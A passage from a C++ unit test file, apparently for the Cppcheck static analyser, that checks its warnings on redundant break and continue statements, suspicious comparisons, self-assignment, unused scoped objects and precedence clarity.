}\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int c) {\\n\"\n \" switch (c) {\\n\"\n \" case '\\\\n':\\n\"\n \" { return 1; };\\n\"\n \" default:\\n\"\n \" { return c; };\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main(int argc, char *argv[]) {\\n\" // #11\n \" switch (argc) {\\n\"\n \" case 0: {\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\"\n \"[test.cpp:1:26]: (style) Parameter 'argv' can be declared as const array [constParameter]\\n\",\n errout_str());\n\n check(\"int f(int i) {\\n\" // #13491\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" {\\n\"\n \" int j;\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int a[1];\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" a[0] = 5;\\n\"\n \" return a[0] + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" switch (i) {\\n\"\n \" case 0:\\n\"\n \" return 0;\\n\"\n \" int j;\\n\"\n \" dostuff();\\n\"\n \" case 1:\\n\"\n \" case 2:\\n\"\n \" j = 5;\\n\"\n \" return j + i;\\n\"\n \" }\\n\"\n \" return 3;\\n\"\n \"}\\n\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", \"\", errout_str());\n\n check(\"int f() {\\n\" // #13472\n \" int var;\\n\"\n \" auto int ret();\\n\"\n \" int ret() {\\n\"\n \" return var;\\n\"\n \" }\\n\"\n \" var = 42;\\n\"\n \" return ret();\\n\"\n \"}\\n\", /*cpp*/ false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #13516\n \" io_uring_for_each_cqe(&ring, head, cqe) {\\n\"\n \" if (cqe->res == -EOPNOTSUPP)\\n\"\n \" printf(\\\"error\\\");\\n\"\n \" goto ok;\\n\"\n \" }\\n\"\n \" usleep(10000);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantContinue() {\n check(\"void f() {\\n\" // #11195\n \" for (int i = 0; i < 10; ++i) {\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\"\n \" do {\\n\"\n \" ++i;\\n\"\n \" printf(\\\"i = %d\\\\n\\\", i);\\n\"\n \" continue;\\n\"\n \" } while (i < 10);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) 'continue' is redundant since it is the last statement in a loop. [redundantContinue]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #13475\n \" { return 0; };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\" // #13478\n \" int x = 0;\\n\"\n \" switch (i) {\\n\"\n \" { case 0: x = 5; break; }\\n\"\n \" { case 1: x = 7; break; }\\n\"\n \" }\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int x, int y) {\\n\" // #13544\n \" switch (x) {\\n\"\n \" case 1: {\\n\"\n \" return y != 0;\\n\"\n \" int z = y + 5;\\n\"\n \" return z != 7;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" return false;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n }\n\n\n void suspiciousCase() {\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B:\\n\"\n \" foo();\\n\"\n \" case (A||B):\\n\"\n \" foo();\\n\"\n \" case A||B:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '&&' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:5:16]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\"\n \"[test.cpp:7:15]: (warning, inconclusive) Found suspicious case label in switch(). Operator '||' probably doesn't work as intended. [suspiciousCase]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case 1:\\n\"\n \" a=A&&B;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // TODO Do not throw AST validation exception\n TODO_ASSERT_THROW(check(\"void foo() {\\n\"\n \" switch(a) {\\n\"\n \" case A&&B?B:A:\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\"), InternalError);\n //ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousEqualityComparison() {\n check(\"void foo(int c) {\\n\"\n \" if (x) c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(const int* c) {\\n\"\n \" if (x) *c == 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n\n check(\"void foo(int c) {\\n\"\n \" if (c == 1) {\\n\"\n \" c = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" c == 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:7]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i == 10; i ++) {\\n\"\n \" a ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 0; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 1; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (i == 2; i < 10; i ++) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (int i = 0; i < 10; i == c) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:31]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" for (; running == 1;) {\\n\"\n \" c ++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int c) {\\n\"\n \" printf(\\\"%i\\\", ({x==0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int arg) {\\n\"\n \" printf(\\\"%i\\\", ({int x = do_something(); x == 0;}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" printf(\\\"%i\\\", ({x == 0; x > 0 ? 10 : 20}));\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (warning, inconclusive) Found suspicious equality comparison. Did you intend to assign a value instead? [constStatement]\\n\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (const Token* end = tok->link(); tok != end; tok = (tok == end) ? end : tok->next()) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = (x == 0) ? 0 : 5; i < 10; i ++) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int x) {\\n\"\n \" for (int i = 0; i < 10; i += (x == 5) ? 1 : 2) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void suspiciousUnaryPlusMinus() { // #8004\n check(\"int g() { return 1; }\\n\"\n \"void f() {\\n\"\n \" +g();\\n\"\n \" -g();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:4:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n\n check(\"void f(int i) {\\n\"\n \" +i;\\n\"\n \" -i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning, inconclusive) Found suspicious operator '+', result is not used. [constStatement]\\n\"\n \"[test.cpp:3:5]: (warning, inconclusive) Found suspicious operator '-', result is not used. [constStatement]\\n\",\n errout_str());\n }\n\n void suspiciousFloatingPointCast() {\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + (float)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"double f(double a, double b, float c) {\\n\"\n \" return a + static_cast(b) + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:34]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"long double f(long double a, long double b, float c) {\\n\"\n \" return a + (double)b + c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\", errout_str());\n\n check(\"void g(int, double);\\n\"\n \"void h(double);\\n\"\n \"void f(double d) {\\n\"\n \" g(1, (float)d);\\n\"\n \" h((float)d);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:10]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\"\n \"[test.cpp:5:7]: (style) Floating-point cast causes loss of precision. [suspiciousFloatingPointCast]\\n\",\n errout_str());\n }\n\n void selfAssignment() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"struct A { int b; };\\n\"\n \"void foo(A* a1, A* a2) {\\n\"\n \" a1->b = a1->b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) Redundant assignment of 'a1->b' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"int x;\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" x = x = 3;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4073 (segmentation fault)\n check(\"void Foo::myFunc( int a )\\n\"\n \"{\\n\"\n \" if (a == 42)\\n\"\n \" a = a;\\n\"\n \"}\");\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = 1;\\n\"\n \" x = x + 1;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int *x = getx();\\n\"\n \" *x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" BAR *x = getx();\\n\"\n \" x = x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\", errout_str());\n\n // #2502 - non-primitive type -> there might be some side effects\n check(\"void foo()\\n\"\n \"{\\n\"\n \" Fred fred; fred = fred;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x == 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" x = (x != 0);\"\n \" func(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket #3001 - false positive\n check(\"void foo(int x) {\\n\"\n \" x = x ? x : 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #3800 - false negative when variable is extern\n check(\"extern int i;\\n\"\n \"void f() {\\n\"\n \" i = i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (style) Redundant assignment of 'i' to itself. [selfAssignment]\\n\", errout_str());\n\n // #4291 - id for variables accessed through 'this'\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func();\\n\"\n \"};\\n\"\n \"void Foo::func() {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:15]: (style) Redundant assignment of 'this->var' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" int var;\\n\"\n \" void func(int var);\\n\"\n \"};\\n\"\n \"void Foo::func(int var) {\\n\"\n \" this->var = var;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6406 - designated initializer doing bogus self assignment\n check(\"struct callbacks {\\n\"\n \" void (*s)(void);\\n\"\n \"};\\n\"\n \"void something(void) {}\\n\"\n \"void f() {\\n\"\n \" struct callbacks ops = { .s = ops.s };\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6]: (style) Redundant assignment of 'something' to itself.\\n\", \"\", errout_str());\n\n check(\"class V\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" V()\\n\"\n \" {\\n\"\n \" x = y = z = 0.0;\\n\"\n \" }\\n\"\n \" V( double x, const double y_, const double &z_)\\n\"\n \" {\\n\"\n \" x = x; y = y; z = z;\\n\"\n \" }\\n\"\n \" double x, y, z;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:10:11]: (style) Redundant assignment of 'x' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:18]: (style) Redundant assignment of 'y' to itself. [selfAssignment]\\n\"\n \"[test.cpp:10:25]: (style) Redundant assignment of 'z' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"void f(int i) { i = !!i; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" int x = 1;\\n\"\n \" int &ref = x;\\n\"\n \" ref = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Redundant assignment of 'ref' to itself. [selfAssignment]\\n\", errout_str());\n\n check(\"class Foo {\\n\" // #9850\n \" int i{};\\n\"\n \" void modify();\\n\"\n \" void method() {\\n\"\n \" Foo copy = *this;\\n\"\n \" modify();\\n\"\n \" *this = copy;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11383\n \" void f() {\\n\"\n \" int x = 42;\"\n \" auto l2 = [i = i, x, y = 0]() { return i + x + y; };\\n\"\n \" }\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #10337\n \" int b[2] = { 1, 2 };\\n\"\n \" int idx = 0;\\n\"\n \" int& i = b[idx];\\n\"\n \" idx++;\\n\"\n \" i = b[idx];\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g(int*);\\n\" // #12390\n \"void f() {\\n\"\n \" int o = s.i;\\n\"\n \" g(&s.i);\\n\"\n \" s.i = o;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac1132() {\n check(\"class Lock\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Lock(int i)\\n\"\n \" {\\n\"\n \" std::cout << \\\"Lock \\\" << i << std::endl;\\n\"\n \" }\\n\"\n \" ~Lock()\\n\"\n \" {\\n\"\n \" std::cout << \\\"~Lock\\\" << std::endl;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" Lock(123);\\n\"\n \" std::cout << \\\"hello\\\" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:15:5]: (style) Instance of 'Lock' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac3693() {\n check(\"struct A{\\n\"\n \" enum {\\n\"\n \" b = 300\\n\"\n \" };\\n\"\n \"};\\n\"\n \"const int DFLT_TIMEOUT = A::b % 1000000 ;\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction1() {\n check(\"int main ( )\\n\"\n \"{\\n\"\n \" CouldBeFunction ( 123 ) ;\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunction2() {\n check(\"struct error {\\n\"\n \" error() {}\\n\"\n \"};\\n\"\n \"\\n\"\n \"class parser {\\n\"\n \"public:\\n\"\n \" void error() const {}\\n\"\n \"\\n\"\n \" void foo() const {\\n\"\n \" error();\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectPicksClass() {\n check(\"class NotAFunction ;\\n\"\n \"int function ( )\\n\"\n \"{\\n\"\n \" NotAFunction ( 123 );\\n\"\n \" return 0 ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAFunction' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectPicksStruct() {\n check(\"struct NotAClass;\\n\"\n \"bool func ( )\\n\"\n \"{\\n\"\n \" NotAClass ( 123 ) ;\\n\"\n \" return true ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'NotAClass' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickIf() {\n check(\"bool func( int a , int b , int c )\\n\"\n \"{\\n\"\n \" if ( a > b ) return c == a ;\\n\"\n \" return b == a ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickConstructorDeclaration() {\n check(\"class Something : public SomethingElse\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"~Something ( ) ;\\n\"\n \"Something ( ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickFunctor() {\n check(\"class IncrementFunctor\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" void operator()(int &i)\\n\"\n \" {\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"int main()\\n\"\n \"{\\n\"\n \" int a = 1;\\n\"\n \" IncrementFunctor()(a);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickLocalClassConstructors() {\n check(\"void f() {\\n\"\n \" class Foo {\\n\"\n \" Foo() { }\\n\"\n \" Foo(int a) { }\\n\"\n \" Foo(int a, int b) { }\\n\"\n \" };\\n\"\n \" Foo();\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickUsedObject() {\n check(\"struct Foo {\\n\"\n \" void bar() {\\n\"\n \" }\\n\"\n \"};\\n\"\n \"\\n\"\n \"void fn() {\\n\"\n \" Foo().bar();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickPureC() {\n // Ticket #2352\n const char code[] = \"struct cb_watch_bool {\\n\"\n \" int a;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void f()\\n\"\n \"{\\n\"\n \" cb_watch_bool();\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Instance of 'cb_watch_bool' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(code, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #2639\n check(\"struct stat { int a; int b; };\\n\"\n \"void stat(const char *fn, struct stat *);\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" stat(\\\"file.txt\\\", &st);\\n\"\n \" do_something();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\",errout_str());\n\n check(\"struct AMethodObject {\\n\" // #4336\n \" AMethodObject(double, double, double);\\n\"\n \"};\\n\"\n \"struct S {\\n\"\n \" static void A(double, double, double);\\n\"\n \"};\\n\"\n \"void S::A(double const a1, double const a2, double const a3) {\\n\"\n \" AMethodObject(a1, a2, a3);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\",errout_str());\n }\n\n void testMisusedScopeObjectDoesNotPickNestedClass() {\n const char code[] = \"class ios_base {\\n\"\n \"public:\\n\"\n \" class Init {\\n\"\n \" public:\\n\"\n \" };\\n\"\n \"};\\n\"\n \"class foo {\\n\"\n \"public:\\n\"\n \" foo();\\n\"\n \" void Init(int);\\n\"\n \"};\\n\"\n \"foo::foo() {\\n\"\n \" Init(0);\\n\"\n \" do_something();\\n\"\n \"}\\n\";\n\n check(code, true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectInConstructor() {\n const char code[] = \"class Foo {\\n\"\n \"public:\\n\"\n \" Foo(char x) {\\n\"\n \" Foo(x, 0);\\n\"\n \" do_something();\\n\"\n \" }\\n\"\n \" Foo(char x, int y) { }\\n\"\n \"};\\n\";\n check(code, true);\n ASSERT_EQUALS(\"[test.cpp:4:5]: (style) Instance of 'Foo' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n }\n\n void testMisusedScopeObjectStandardType() {\n check(\"int g();\\n\"\n \"void f(int i) {\\n\"\n \" int();\\n\"\n \" int(0);\\n\"\n \" int( g() );\\n\" // don't warn\n \" int{};\\n\"\n \" int{ 0 };\\n\"\n \" int{ i };\\n\"\n \" int{ g() };\\n\" // don't warn\n \" g();\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:7:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:8:5]: (style) Instance of 'int' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"void f(int j) {\\n\"\n \" for (; bool(j); ) {}\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void g() {\\n\"\n \" float (f);\\n\"\n \" float (*p);\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" void();\\n\"\n \" return i;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectNamespace() {\n check(\"namespace M {\\n\" // #4779\n \" namespace N {\\n\"\n \" struct S {};\\n\"\n \" }\\n\"\n \"}\\n\"\n \"int f() {\\n\"\n \" M::N::S();\\n\"\n \" return 0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:7:11]: (style) Instance of 'M::N::S' object is destroyed immediately. [unusedScopedObject]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #10057\n \" std::string(\\\"abc\\\");\\n\"\n \" std::string{ \\\"abc\\\" };\\n\"\n \" std::pair(1, 2);\\n\"\n \" (void)0;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:3:10]: (style) Instance of 'std::string' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:4:10]: (style) Instance of 'std::pair' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #10083\n \" void f() {\\n\"\n \" std::lock_guard(m);\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" std::scoped_lock(m);\\n\"\n \" }\\n\"\n \" std::mutex m;\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:3:14]: (style) Instance of 'std::lock_guard' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:6:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\"\n \"[test.cpp:9:14]: (style) Instance of 'std::scoped_lock' object is destroyed immediately. [unusedScopedObject]\\n\",\n errout_str());\n\n check(\"struct S { int i; };\\n\"\n \"namespace {\\n\"\n \" S s() { return ::S{42}; }\\n\"\n \"}\\n\", true);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void testMisusedScopeObjectAssignment() { // #11371\n check(\"struct S;\\n\"\n \"S f();\\n\"\n \"S& g();\\n\"\n \"S&& h();\\n\"\n \"S* i();\\n\"\n \"void t0() { f() = {}; }\\n\"\n \"void t1() { g() = {}; }\\n\"\n \"void t2() { h() = {}; }\\n\"\n \"void t3() { *i() = {}; }\\n\", true);\n ASSERT_EQUALS(\"[test.cpp:6:19]: (style) Instance of 'S' object is destroyed immediately, assignment has no effect. [unusedScopedObject]\\n\", errout_str());\n }\n\n void trac2084() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" struct sigaction sa;\\n\"\n \"\\n\"\n \" { sigaction(SIGHUP, &sa, 0); };\\n\"\n \" { sigaction(SIGINT, &sa, 0); };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void trac2071() {\n check(\"void f() {\\n\"\n \" struct AB {\\n\"\n \" AB(int a) { }\\n\"\n \" };\\n\"\n \"\\n\"\n \" const AB ab[3] = { AB(0), AB(1), AB(2) };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void clarifyCalculation() {\n check(\"int f(char c) {\\n\"\n \" return 10 * (c == 0) ? 1 : 2;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", 10 * (c == 0) ? 1 : 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:32]: (style) Clarify calculation precedence for '*' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return (2*a)?b:c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(char c) {\\n\"\n \" printf(\\\"%i\\\", a + b ? 1 : 2);\\n\"\n \"}\",true,false,false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Clarify calculation precedence for '+' and '?'. [clarifyCalculation]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::cout << x << y ? 2 : 3;\\n\"\n \"}\");\n 